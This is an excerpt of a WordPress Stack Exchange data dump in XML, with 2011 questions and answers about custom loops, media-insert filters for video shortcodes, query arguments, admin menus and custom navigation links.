  <row Id="9834" PostTypeId="1" AcceptedAnswerId="10102" CreationDate="2011-02-19T14:50:26.767" Score="0" ViewCount="850" Body="&lt;p&gt;I am not sure why but I have used &lt;code&gt;get_posts()&lt;/code&gt; to query for some data. Then I used &lt;code&gt;setup_postdata()&lt;/code&gt; ... I think its used so that I can use functions like &lt;code&gt;the_permalink()&lt;/code&gt; etc with the new post data? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($childPosts as $cp) : setup_postdata($cp); ?&amp;gt;&#xA;&#xA;&amp;lt;article &amp;lt;?php post_class() ?&amp;gt; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;?php if (has_post_thumbnail()) : ?&amp;gt;&#xA;  &amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail(($hasOutputNotFeaturedDiv) ? 'thumb-small' : null) ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;  &amp;lt;p class=&quot;more&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;Read more ...&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php include (TEMPLATEPATH . '/inc/meta.php' ); ?&amp;gt;&#xA;&amp;lt;/article&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it appears that only &lt;code&gt;the_excerpt&lt;/code&gt; contains the new post data value, why is that? I find that if I use &lt;code&gt;echo get_the_permalink($cp)&lt;/code&gt; it works ok. But I think the shorter version will be better&lt;/p&gt;&#xA;" OwnerUserId="794" LastActivityDate="2011-08-24T21:12:28.997" Title="setup_postdata() does not seem to be working?" Tags="&lt;get-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="9835" PostTypeId="2" ParentId="9808" CreationDate="2011-02-19T14:52:28.700" Score="0" ViewCount="" Body="&lt;p&gt;I'd suggest the &lt;a href=&quot;http://wordpress.org/extend/plugins/taxonomy-images/&quot; rel=&quot;nofollow&quot;&gt;Taxonomy Images Plugin&lt;/a&gt;. It says it's in Beta but I've used it on a few sites already and it works great.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-02-19T14:52:28.700" />
  <row Id="9836" PostTypeId="2" ParentId="9834" CreationDate="2011-02-19T14:55:33.470" Score="1" ViewCount="" Body="&lt;p&gt;When querying posts just use the normal loop with a set of arguments passed into it. Then reset the query at the end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;    // makes query respect paging rules&#xA;    $paged = get_query_var('paged');&#xA;&#xA;    // defining the arguements for the custom loop&#xA;    $variablenameQuery = array(&#xA;        'post_type'                 =&amp;gt; 'seating-charts',&#xA;        'post_status'               =&amp;gt; 'publish',&#xA;        'cust_tax_name'             =&amp;gt; 'custom-tax-term',&#xA;        'posts_per_page'            =&amp;gt; -1, // neg 1 means all posts&#xA;        'orderby'                   =&amp;gt; 'date',&#xA;        'order'                     =&amp;gt; 'ASC',&#xA;        'paged'                     =&amp;gt; $paged,&#xA;    ); // end query&#xA;&#xA;    // pass result into query_posts to get result&#xA;    query_posts($variablenameQuery);&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Individual Post Styling ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // paged navigation - next post, previous post... ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Ooops looks like there was an issue. Please &amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/contact&quot; title=&quot;Contact Us&quot;&amp;gt;get in touch&amp;lt;/a&amp;gt; with us and we'll get the problem fixed.&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;&amp;lt;!-- resets the WordPress Query --&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2011-02-19T14:55:33.470" CommentCount="4" />
  <row Id="9837" PostTypeId="2" ParentId="9764" CreationDate="2011-02-19T14:56:51.163" Score="0" ViewCount="" Body="&lt;p&gt;I guess i'm not really following Rarst's concerns regarding paging and prev/next linking, i think you can safely intercept the home page query and change the query vars to look at posts within a specific time range, i tend to favour the filter/action approach(no need to setup paging values).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'home_week_query' );&#xA;function home_week_query( $wpq ) {&#xA;    if( $wpq-&amp;gt;is_admin || !$wpq-&amp;gt;is_home )&#xA;        return;&#xA;    if( isset( $wpq-&amp;gt;query_vars['post_type'] ) &amp;amp;&amp;amp; ( 'nav_menu_item' == $wpq-&amp;gt;query_vars['post_type'] ) )&#xA;        return;&#xA;&#xA;    if( !did_action('wp') )&#xA;        return;&#xA;&#xA;    $today = getdate();&#xA;    $wpq-&amp;gt;set( 'year', $today[&quot;year&quot;] );&#xA;    $wpq-&amp;gt;set( 'monthnum', $today[&quot;mon&quot;] );&#xA;    $wpq-&amp;gt;set( 'day', $today[&quot;mday&quot;] );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Paging works and the posts are within the specific range, but let me know if you have any problems with the code.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-19T14:56:51.163" CommentCount="0" />
  <row Id="9838" PostTypeId="1" AcceptedAnswerId="9843" CreationDate="2011-02-19T15:02:51.997" Score="0" ViewCount="723" Body="&lt;p&gt;Problem: Add a hook that automatically adds a &lt;strong&gt;short tag&lt;/strong&gt; to video attachments&#xA;when inserted from the Media Library (video) tab:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works under the 'Media Library' tab — and doesn't break image inserts etc.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('media_send_to_editor', 'my_filter_iste', 20, 3);&#xA;&#xA;function my_filter_iste($html, $id, $caption, $title, $align, $url, $size, $alt) {&#xA;    $attachment = get_post($id); //fetching attachment by $id passed through&#xA;&#xA;    $mime_type = $attachment-&amp;gt;post_mime_type; //getting the mime-type&#xA;    if (substr($mime_type, 0, 5) == 'video') { //checking mime-type&#xA;        $src = wp_get_attachment_url( $id );&#xA;        $html = '[video src=&quot;'.$src.'&quot;]';  &#xA;    }&#xA;    return $html; // return new $html&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inserts something like this: [video src=&quot;path/to/video/sample.mp4&quot;]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you feel you can clean up the code, by any means, show us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks @wyrfel&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="3292" LastEditorDisplayName="" LastEditDate="2011-05-16T22:21:34.430" LastActivityDate="2011-05-16T22:21:34.430" Title="Add new &quot;Insert Into Post&quot; button with another function" Tags="&lt;custom-field&gt;&lt;functions&gt;&lt;shortcode&gt;&lt;media-library&gt;" AnswerCount="3" />
  <row Id="9839" PostTypeId="2" ParentId="9717" CreationDate="2011-02-19T15:11:23.410" Score="0" ViewCount="" Body="&lt;p&gt;Thank you for reporting on this issue. Regarding the template system, I once more updated it, thinking the new version is easier to the user. I know it still lacks a big rewrite to make it user-friendly. The underlying code is pretty much set to use any new idea for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added some upgrade notices for version 0.17 and 0.18. I guess it wasn't clear enough. I don't know if this is the place to discuss this, since it's more of a question / answer site (sorry WP Answers if this is wrong), but what would you think of a system like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[catlist id=6]&#xA;  &amp;lt;h2&amp;gt;{post-title}&amp;lt;/h2&amp;gt;&#xA;  &amp;lt;i&amp;gt;Date: {date}&amp;lt;/i&amp;gt;&#xA;  &amp;lt;p class=&quot;excerpt&quot;&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;[/catlist]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That would be simpler to write and understand for users who don't know PHP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the thumbnails, I've tested it several times and it is working for me. You should add a new question on this site, with all the info on your theme, WordPress installation and the functions.php code for thumbnails, see if we can get other user / developer figure out why the plugin is not displaying the thumbnail.&lt;/p&gt;&#xA;" OwnerUserId="298" LastActivityDate="2011-02-19T15:11:23.410" CommentCount="1" />
  <row Id="9840" PostTypeId="2" ParentId="9803" CreationDate="2011-02-19T15:15:26.583" Score="1" ViewCount="" Body="&lt;p&gt;The problem you have is not with highslide, but rather with your youtube embed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to add &lt;code&gt;&amp;lt;param name=&quot;wmode&quot; value=&quot;transparent&quot;&amp;gt;&lt;/code&gt; to the object tag and &lt;code&gt;wmode=&quot;transparent&quot;&lt;/code&gt; to the embed tag. If you're using the iframe version I think it's &lt;code&gt;allowtransparency=&quot;true&quot;&lt;/code&gt; but I've never tried it with the new iframe code so I'm not sure about that last one. &lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-02-19T15:15:26.583" />
  <row Id="9841" PostTypeId="1" CreationDate="2011-02-19T15:16:33.493" Score="0" ViewCount="61" Body="&lt;p&gt;I have a client using buddypress who needs to show posts from twitter and FB but NOT within the widgets. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details:&#xA;&quot;There is a BuddyPress plugin that provides for users to include their Twitter streams in their BuddyPress profile. Â I want to include this plugin but modify it so that only Twitter posts from the user that contain a specific hashtag are included in their buddypress profile stream on my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I am currently allowing users to login to my site using FB connect, and I want to include their posts from their FB profile to their buddypress stream, but only when they post to my FB fan page. Â Honestly, I'm not entirely certain this is possible, and am looking for some consultation on this point.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this doable? If so, let me know and I will forward info so you can work directly w/ him. jfswitzer@gmail.com&lt;/p&gt;&#xA;" LastActivityDate="2011-02-19T15:16:33.493" Title="buddypress tweak" Tags="&lt;buddypress&gt;" CommentCount="1" />
  <row Id="9842" PostTypeId="2" ParentId="2269" CreationDate="2011-02-19T15:31:57.043" Score="2" ViewCount="" Body="&lt;p&gt;I use this&#xA;&lt;a href=&quot;http://dimox.net/wordpress-breadcrumbs-without-a-plugin/&quot; rel=&quot;nofollow&quot;&gt;http://dimox.net/wordpress-breadcrumbs-without-a-plugin/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can call it anywhere you want/need a (clickable) breadcrumb trail&lt;/p&gt;&#xA;" LastActivityDate="2011-02-19T15:31:57.043" CommentCount="1" />
  <row Id="9843" PostTypeId="2" ParentId="9838" CreationDate="2011-02-19T15:40:28.987" Score="3" ViewCount="" Body="&lt;p&gt;There's a &lt;code&gt;get_image_send_to_editor()&lt;/code&gt; function in wp-admin/includes/media.php that runs this: &lt;code&gt;apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt );&lt;/code&gt;. Try hooking that filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Help with the filter call...&#xA;Your call to hook the callback would look like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('image_send_to_editor', array(&amp;amp;$MyClassReference, 'filter_iste'), 10, 8);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 10 is the priority, you might need to adjust that...10 is the default.&#xA;Your filter function needs to look pretty much like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_iste($html, $id, $caption, $title, $align, $url, $size, $alt) {&#xA;    ...&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To derive what you need to do in the callback, i'd pretty much first dump all the parameters you're getting passed through to the screen. If you need something more, you can always fetch the whole attachment data and metadata using the $id you got passed through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you could now try two different approaches:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You check for the mime-type of the attachment and if it's a video, replace the whole $html content with your shortcode. You could add an option to the media settings that allows the user to configure if they want you to do so or not. You only need to hook the whole thing if they do.&#xA;Edit: to check for video mime-types:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$attachment = get_post($id);&#xA;$mime_type = $attachment-&amp;gt;post_mime_type;&#xA;if (substr($mime_type, 0, 5) == 'video' &amp;amp;&amp;amp; get_option('use_video_shorty_on_insert')) {&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You run your $html content through a regexp replace to remove the  bitsies the shortcode is wrapped in. What that regexp would look like depends on what the $html content typically looks like.&#xA;I'd go for the first option, it's more solid and better UI. I understand that you might want to give the user the ability to change options for your shortcode, but this is another topic and i do believe it's possible to tweak the fields on the media popup to add some options there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Edit 3: full example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this seems to be an additional filter running for images only&#xA;add_filter('image_send_to_editor', 'my_filter_iste', 20, 8);&#xA;&#xA;function my_filter_iste($html, $id, $caption, $title, $align, $url, $size, $alt) {&#xA;    $attachment = get_post($id); //fetching attachment by $id passed through&#xA;    $mime_type = $attachment-&amp;gt;post_mime_type; //getting the mime-type&#xA;    if (substr($mime_type, 0, 5) == 'video') { //checking mime-type&#xA;        //if a video one, replace $html by shortcode (assuming $url contains the attachment's file url)&#xA;        $html = '[video src=&quot;'.$url.'&quot;]';&#xA;    }&#xA;    return $html; // return new $html&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok...wrong filter, apparently...try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this seems to run when inserting a video via the 'From URL' tab&#xA;add_filter('video_send_to_editor_url', 'my_filter_vsteu', 20, 3);&#xA;&#xA;function my_filter_vsteu($html, $href, $title) {&#xA;    $html = '[video src=&quot;'.$href.'&quot;]';&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ahh well, we've got one more:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this seems to run generically for any media item from the 'Upload' tab&#xA;add_filter('media_send_to_editor', 'my_filter_mste', 20, 3);&#xA;&#xA;function my_filter_mste($html, $send_id, $attachment) {&#xA;    if (substr($attachment-&amp;gt;post_mime_type, 0, 5) == 'video') {&#xA;        $href = wp_get_attachment_url($attachment-&amp;gt;ID);&#xA;        $html = '[video src=&quot;'.$href.'&quot;]';&#xA;    }&#xA;    return $html;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-03T07:44:32.683" LastActivityDate="2011-03-03T07:44:32.683" CommentCount="12" />
  <row Id="9844" PostTypeId="2" ParentId="9814" CreationDate="2011-02-19T15:52:16.650" Score="1" ViewCount="" Body="&lt;p&gt;To fix your &quot;query filters&quot;&#xA;change &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set defaults in nothing entered:&#xA;if(!isset($_POST['showfilter'])) {&#xA;    $ft_args = 'post_type=ftevent&amp;amp;';&#xA;    // $ft_args .= 'posts_per_page=1&amp;amp;'; SHOW ALL&#xA;    $ft_args .= 'paged=' . $paged . '&amp;amp;';&#xA;    $ft_args .= $osu_datecompare . '&amp;amp;';&#xA;    $ft_args .= 'orderby=meta_value&amp;amp;order=ASC';&#xA;} else {&#xA;    // Filter query with multiple taxonomies and paginate results&#xA;    $ft_args = 'post_type=ftevent&amp;amp;';&#xA;    $ft_args .= 'posts_per_page=2&amp;amp;';&#xA;    $ft_args .= 'paged=' . $paged . '&amp;amp;';&#xA;    $ft_args .= 'fttype=' . $ft_t . '&amp;amp;';&#xA;    $ft_args .= 'ftperiod=' . $ft_p . '&amp;amp;';&#xA;    $ft_args .= 'ftduration=' . $ft_d . '&amp;amp;';&#xA;    $ft_args .= $osu_datecompare . '&amp;amp;';&#xA;    $ft_args .= 'orderby=meta_value&amp;amp;order=ASC';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter query with multiple taxonomies and paginate results&#xA;    $ft_args = array(&#xA;    'post_type' =&amp;gt; 'ftevent',&#xA;    'posts_per_page' =&amp;gt; 2,&#xA;    'paged=' =&amp;gt; $paged ,&#xA;    'meta_key' =&amp;gt; 'StartEventDate',&#xA;    'meta_compare' =&amp;gt; '&amp;gt;=',&#xA;    'meta_value' =&amp;gt; $todaysDate,&#xA;    'orderby' =&amp;gt; 'meta_value',&#xA;    'order' =&amp;gt; 'ASC');&#xA;    if (isset($ft_t) &amp;amp;&amp;amp; ($ft_t != '')){$ft_args['fttype'] = $ft_t;}&#xA;    if (isset($ft_p) &amp;amp;&amp;amp; ($ft_p != '')){$ft_args['ftperiod'] = $ft_p;}&#xA;    if (isset($ft_d) &amp;amp;&amp;amp; ($ft_d != '')){$ft_args['ftduration'] = $ft_d;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and to make it work before version 3.1 you will need to install &lt;a href=&quot;http://wordpress.org/extend/plugins/query-multiple-taxonomies/&quot; rel=&quot;nofollow&quot;&gt;Query Multiple Taxonomies&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-19T15:52:16.650" CommentCount="3" />
  <row Id="9845" PostTypeId="1" CreationDate="2011-02-19T16:04:37.083" Score="0" ViewCount="93" Body="&lt;p&gt;Have a theme that accepts posts on the front end by users and gives them a front end dashboard too to edit... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there are any known plug-ins for the admin to edit all as if they were logged in as a user? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically a master login revealing the users dashboard info./options to edit on their behalf as admin master login?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shawn&lt;/p&gt;&#xA;" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-19T16:21:59.183" LastActivityDate="2011-04-20T19:41:06.097" Title="Any known plugins for master admin login to edit all on front end?" Tags="&lt;admin&gt;&lt;login&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9846" PostTypeId="1" AcceptedAnswerId="9849" CreationDate="2011-02-19T16:12:46.450" Score="1" ViewCount="104" Body="&lt;p&gt;&lt;em&gt;Hello there,&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I would like to add a front menu&#xA;  button (viz. Home, About, Archive&#xA;  etc.) to my blog that links to another&#xA;  website. WordPress only shows the&#xA;  pages that I have created using&#xA;  dashboard in the front menu.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I hope my question is clear. Let's assume I have a Yoga blog and a Yoga store at another website. I'd like to add a &quot;STORE&quot; button -- after my Home, About and other pages -- that links outside the WP blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS - I am using &lt;a href=&quot;http://wordpress.org/extend/themes/lightword&quot; rel=&quot;nofollow&quot;&gt;lightword&lt;/a&gt; theme.&lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2011-02-19T16:34:34.333" Title="How do I add a front menu button that redirects to another website or sub-domain?" Tags="&lt;html&gt;&lt;pages&gt;" AnswerCount="1" />
  <row Id="9847" PostTypeId="2" ParentId="9845" CreationDate="2011-02-19T16:13:41.833" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot; title=&quot;FrontEnd&quot;&gt;Front-End editor&lt;/a&gt; by Scribu, could be resolve your problem. As admin , you can edit everithing in the front-end.&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-02-19T16:13:41.833" />
  <row Id="9848" PostTypeId="1" CreationDate="2011-02-19T16:16:26.130" Score="0" ViewCount="158" Body="&lt;p&gt;I have only posts from one category displayed on my homepage.&#xA;Pagination works well, but I would like to change URL of this pagination to avoid duplicates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;There is domain.com/page/2/ (homepage)&#xA;I need domain.com/category/news/page/2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to hook to request filter, but after adding category_name to my homepage, then main URL is redirected to domain.com/category/news&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I need to show only posts from one category on my homepage with URL domain.com and have pagination links based on limited category domain.com/category/news/page/2/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any idea? Thank you very much for your help...&lt;/p&gt;&#xA;" OwnerUserId="3316" LastActivityDate="2011-02-19T16:16:26.130" Title="Only one category on homepage and pagination" Tags="&lt;pagination&gt;&lt;homepage&gt;" />
  <row Id="9849" PostTypeId="2" ParentId="9846" CreationDate="2011-02-19T16:34:34.333" Score="4" ViewCount="" Body="&lt;p&gt;Lightword theme as wp_nav_menu enabled so you can create your menu from the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Appearance → Menus panel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;where you have Custom Links and that is just what you are looking for.&#xA;you can read more on how to use &lt;a href=&quot;http://codex.wordpress.org/Appearance_Menus_SubPanel&quot; rel=&quot;nofollow&quot;&gt;WordPress Menus panel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-19T16:34:34.333" CommentCount="2" />
  <row Id="9851" PostTypeId="2" ParentId="9845" CreationDate="2011-02-19T18:37:06.320" Score="0" ViewCount="" Body="&lt;p&gt;I used Front End editor extensively for a few months and it works well. Don't be surprised if it makes your home page look a little weird when you're logged in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example on my site, it changed my tagline font to italics and smaller size but not a big deal. If you're not logged in, you (and visitors) will see your &quot;regular&quot; home page.&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-19T18:37:06.320" />
  <row Id="9852" PostTypeId="1" AcceptedAnswerId="9853" CreationDate="2011-02-19T20:37:36.373" Score="0" ViewCount="67" Body="&lt;p&gt;I have created a fairly unexciting custom type (Event) and an equally vanilla custom taxonomy (Venue).  Whenever a user creates an Event, I want them to be required to either create a new Venue or select an existing Venue.  How can I make this a required field when publishing?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the sort of thing that should be rather trivial but I've been going up and down &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_taxonomy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_taxonomy&lt;/a&gt; and haven't found anything obvious.  Am I going about this in the wrong way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3320" LastActivityDate="2011-02-19T20:57:26.670" Title="Require Custom Taxonomy for Custom Type" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;" AnswerCount="1" />
  <row Id="9853" PostTypeId="2" ParentId="9852" CreationDate="2011-02-19T20:57:26.670" Score="0" ViewCount="" Body="&lt;p&gt;You can hook an 'init' action callback in which you get the post-type and if it's &#xA;'event' check $_POST for if your taxonomy value is empty. If it's empty, you can then reset $_POST['action'] to 'edit', so that post.php simply reloads the editor. And you can inject $_GET['message'] = 11 and add your (11th) response message via hooking a callback to the 'post_updated_messages' filter. That's not ideal, but it's somewhat of a solution.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T20:57:26.670" CommentCount="2" />
  <row Id="9855" PostTypeId="2" ParentId="9832" CreationDate="2011-02-19T21:11:16.543" Score="1" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page(__('My Plugin', 'myplugin'),__('My Plugin', 'myplugin'), 'edit_posts','my-plugin-dashboard','my_plugin_dashboard','icon');&#xA;&#xA;// dashboard submenu - this fails to highlight with current&#xA;add_submenu_page('my-plugin-dashboard', __('Dashboard','myplugin'), __('Dashboard','myplugin'), 'edit_posts', 'my-plugin-dashboard', 'my_plugin_dashboard' );&#xA;&#xA;// settings submenu - this fails to highlight with current&#xA;add_submenu_page('my-plugin-dashboard', __('Settings','myplugin'), __('Settings','myplugin'), 'manage_options', 'my-plugin-settings', 'my_plugin_settings' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Essentially: don't use full page links with admin.php?... as the page slug. Especially if you are passing callbacks, just use a slug, not a page address.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-19T21:11:16.543" CommentCount="1" />
  <row Id="9856" PostTypeId="1" CreationDate="2011-02-19T21:12:44.050" Score="1" ViewCount="100" Body="&lt;p&gt;I am having trouble getting an unread posts and comments plugin to work on my site.  I have multiple authors which I am trying to control with role scoper.  Only certain people can access certain categories.  Unfortunately none of the plugins for number of comments/posts seem to work with rolescoper defined roles; the changes still show up, but the user can't click them...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, maybe it would be easier to create a plugin where a user clicks a button next to each post they read, with a 'unread post' counter that begins only when the user registers... Hm... Is this possible? It would be a useful feature to have because then if someone doesn't want to read a post right away, they can come back to it later... maybe even tag it in a separate way so that there's a section on the site where they can read all the stuff they tagged... &lt;/p&gt;&#xA;" LastActivityDate="2011-08-19T14:32:13.907" Title="Number Unread comments/posts" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="9857" PostTypeId="1" AcceptedAnswerId="9881" CreationDate="2011-02-19T21:27:45.743" Score="0" ViewCount="286" Body="&lt;p&gt;I have this dilemma whereby I'd like FB-Connect or a similar tool to automatically push custom data found in Custom Post Types to Facebook. Here's an example (it only works because it's a manual workaround). The final result is/should be this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/eBn9H.jpg&quot; alt=&quot;Result with manual workaround&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can achieve that by placing this in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_singular('adoptions')) {&#xA;echo '&amp;lt;meta name=&quot;description&quot; content=&quot;';&#xA;echo 'New Pet for Adoption! ' . $name . ' is a ' . $age . ' year old ' . $gender . ' ' . $breed . ' who needs a home!';&#xA;echo '&quot; /&amp;gt;';}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's great because I can exactly influence the excerpt (but the downside is everything needs to be done manually). Not so with Custom Post Types and auto-publish where the empty content of the post type then only shows an image and '...', in other words giving the reader no clue what this is about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm thinking is that I can either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Modify the automatic publisher from WP to push content in this manner (not even sure where to start), or.. and this seems easier;&lt;/li&gt;&#xA;&lt;li&gt;Create a custom RSS feed which is then imported into the page via an RSS app? The added benefit is that the feed can be used elsewhere too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What does the dream-team think? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-02-20T07:43:18.003" Title="How would you feed Custom Post Types to Facebook?" Tags="&lt;custom-post-types&gt;&lt;rss&gt;&lt;facebook&gt;" AnswerCount="1" CommentCount="2" />
